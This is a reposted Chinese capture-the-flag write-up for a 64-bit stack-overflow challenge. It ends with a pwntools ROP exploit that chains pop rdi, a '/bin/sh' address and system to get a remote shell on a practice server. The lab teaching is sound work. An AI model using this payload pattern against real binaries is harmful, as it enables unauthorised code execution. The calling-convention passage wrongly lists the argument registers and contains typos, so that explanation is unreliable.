PWN手成长之路-05-ROP

news/2025/9/30 21:34:23/文章来源:https://www.cnblogs.com/B0rry/p/19121804

image

与远程环境进行交互,可以进行输入,但是输入之后无任何回显。
image

file 查看文件。64位 ELF 。
image

checksec 查看文件安全属性。
image

IDA 打开文件。查看 main 函数的反编译代码。
image

查看 buf 这个字符数组(栈上的缓冲区),本身 buf 有0x20的字节,另外在 buf 之后,栈上还有 8 字节的保存寄存器(Saved Regs)和 8 字节的返回地址(Return Address)**(对应汇编中的  s 和 r,各占 8 字节)。
image

ALT+B 进行搜索字符串:/bin,找到了后门函数。
image

并且在 say_hello 函数中发现了 system 这个提权函数。
image
image

双击这个 _system 函数,从而得到其地址。这个地址就是最后 system_addr 的地址。
image
image

原本的计划是通过栈溢出覆盖返回地址,直接调用 /bin/sh 字符串地址,再跳转到 system 函数(即缝合为 system("/bin/sh")),但是目标程序开启了 NX 保护,导致栈内存不可执行,无法直接注入并运行 shell ,因此,需要采用 ROP(Return-Oriented Program) 技术绕过NX保护。

利用目标程序中已有的 pop rdi; ret 等gadget 设置函数参数,如将 /bin/sh 地址传入 RDI 寄存器,劫持控制流程到已经存在的 system 函数地址,实现 system("/bin/sh") 的调用,ROP 通过组合现有的代码片段(gadget)完成攻击,无需在栈上执行新代码,从而绕过 NX 限制。

但在漏洞利用的过程中,需要重点关注目标程序的调用约定。由于 32 位程序通过栈传递参数,而 amd64(x86_64) 程序的前六个参数,依次保存在 RDP、RSI、RCX、R8、R9 寄存器中,查出部分才会通过栈传递。因此在构造 ROP 链时,兽药典是需要确定 RDI 寄存器的地址,可以通过以下的命令来查询程序 RDI 寄存器的地址:
ROPgadget --binary pwn | grep 'pop rdi'
image

构造 exp:
流程:填充数据+rdi_addr+shell_addr+system_addr

from pwn import *  r=remote('node5.buuoj.cn',25975)  
rdi_addr=0x400663  
shell_addr=0x601048  
system_addr=0x400480      
payload=b'a'*(0x20+8)+p64(rdi_addr)+p64(shell_addr)+p64(system_addr)  
r.sendline(payload)  
r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/923278.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

随机采样研究随笔

\(y=x^n\) 在 O(n) 复杂度随机 \(y=(1-x)^a x^b\) 在 O(n) 复杂度随机 线性时间随机 \(n\) 个有序的 \([0,1]\) 实数。 线性时间随机 \(sum=0\) 的一个 1,-1 序列 \(O(n\sqrt n)\) 时间随机一个合法括号序列

Python 正则表达式实战:一文搞定文本处理

在 Python 中,正则表达式(Regular Expression)是一种强大的文本处理工具,用于匹配、搜索、替换等操作。无论是数据清洗、文本解析还是复杂的文本处理任务,正则表达式都能轻松应对。今天,就让我们一起深入学习 Py…

2025-2026-1 20231301 《信息安全设计》第八周学习总结

View Post2025-2026-1 20231301 《信息安全设计》第八周学习总结2025-2026-1 20231301 《信息安全设计》第八周学习总结 目录作业信息学习内容总结一、TLS协议深度解析二、OpenSSL SSL/TLS编程实战三、OpenSSL命令行TL…

太月星网站建设程序开发一键生成微信小程序

你知道吗,C类是编程世界中的一种强大工具,它可以帮助我们更好地组织和管理代码。接下来,我将为你呈现一篇近万字的C类的教程,希望能帮助你熟悉这个概念。 首先,让我们从C类的定义开始。类是一个模板,它描述…

2025-2026-1 20231301 《信息安全设计》第七周学习总结

View Post2025-2026-1 20231301 《信息安全设计》第七周学习总结2025-2026-1 20231301 《信息安全设计》第七周学习总结 目录作业信息学习内容总结第十章:身份认证和PKI理论基础一、PKI体系架构深度解析二、证书处理实…

springboot+vue心理健康服务小程序(源码+文档+调试+基础修改+答疑) - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

肉山谷英雄传说新手任务登录英文网站怎么做装修网站建设网

文章目录 前言UUID 处理的更改正则表达式的更改结束 前言 Android 14 已经出来好久好久了… 今天其他的暂且不论,单纯的讲一下 OpenJDK 17 更新的两点变更(扒源代码)~ 对正则表达式的更改UUID 处理 首先,正则表达式的更改&…

网站备案查询 工信部wordpress 删除标签页

导语 如果之前的单机版hadoop环境安装满足不了你,集群版hadoop一定合你胃口,轻松入手。目录 集群规划前置条件配置免密登录 3.1 生成密匙 3.2 免密登录 3.3 验证免密登录集群搭建 4.1 下载并解压 4.2 配置环境变量 4.4 修改配置 4.4 分发程序 4.5 初始化…

湛江企业自助建站时尚网站设计案例

1. 模型旋转角度尽量取整数,保证线条不会出现锯齿 2. 修改反锯齿模型为FXAA方式,默认的TemporalAA方式会闪烁 3. 动态更新的纹理尺寸一般都不会是2的N次方,比如401X518。 解决方案是 动态更新一张1024x1024的贴图的其中401X518,…

南宁网站建设招聘建设工程合同备案在什么网站上

2016只剩下不到百分之一的时间了,网上陆续看到各种企业或个人的总结或盘点,公司也必须规定每个员工要做年度工作总结,或许是环境释然,心里也有无数次要做总结的念头,尤其是月末年末这种感觉更重,但却没静下…

没用的博客园页面的要素介绍(待更新)

1. 关于那几行字点击查看"<b style=color:rgb(119, 248, 255)>又是一年雨季</b>","<b style=color:rgb(119, 248, 255)>青苔悄悄爬满缝隙</b>","<b style=color:…

详细介绍:Music Tag Web 怎么安装 ffmpeg?

详细介绍:Music Tag Web 怎么安装 ffmpeg?pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &quo…

2025-2026-1 20231301 《信息安全设计》第六周学习总结

View Post2025-2026-1 20231301 《信息安全设计》第六周学习总结2025-2026-1 20231301 《信息安全设计》第六周学习总结 目录作业信息学习内容总结一、Windows密码体系架构深度解析二、CryptoAPI核心编程实战三、CSP服…

作业-1

实验任务一task1-1#include<stdio.h> #include<stdlib.h> int main() {printf(" O \n");printf("<H>\n");printf("I I\n");printf(" O \n");printf("…

MacOS拉取git代码报.DS_Store 冲突修复

命令到冲突的文件夹下 1、先查看当前目录下面是否有.DS_Store 这个文件ls -a2、如果存在则继续运行git rm -r --cached .DS_Store

国家住房和城乡建设部官方网站下载百度官方网站

什么是&#xff1f;为什么&#xff1f;需要负载均衡 一个网站在创建初期&#xff0c;一般来说都是只有一台服务器对用户提供服务 ​ 从图里可以看出&#xff0c;用户经过互联网直接连接了后端服务器&#xff0c;如果这台服务器什么时候突然 GG 了&#xff0c;用户将无法访问这…

自己有网站怎么做点卡?商业网点建设中心网站

720云全景漫游制作工具自2014年8月上线后&#xff0c;为数十万创作者提供全景图片&全景视频&高清矩阵上传、编辑、分享一站式软件服务&#xff0c;获得众多创作者的青睐与认可&#xff0c;同时也承载了创作者越来越多的期望&#xff0c;为了给大家提供更灵活多样的功能…

完整教程:Coze源码分析-资源库-删除数据库-前端源码-核心API/总结

完整教程:Coze源码分析-资源库-删除数据库-前端源码-核心API/总结pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "…

完整教程:Java核心 之JVM

完整教程:Java核心 之JVM2025-09-30 21:13 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; f…

如何查询网站备案信息查询如何注册公司营业执照

使用rm -rf命令转载于:https://www.cnblogs.com/dyh-air/p/7726611.html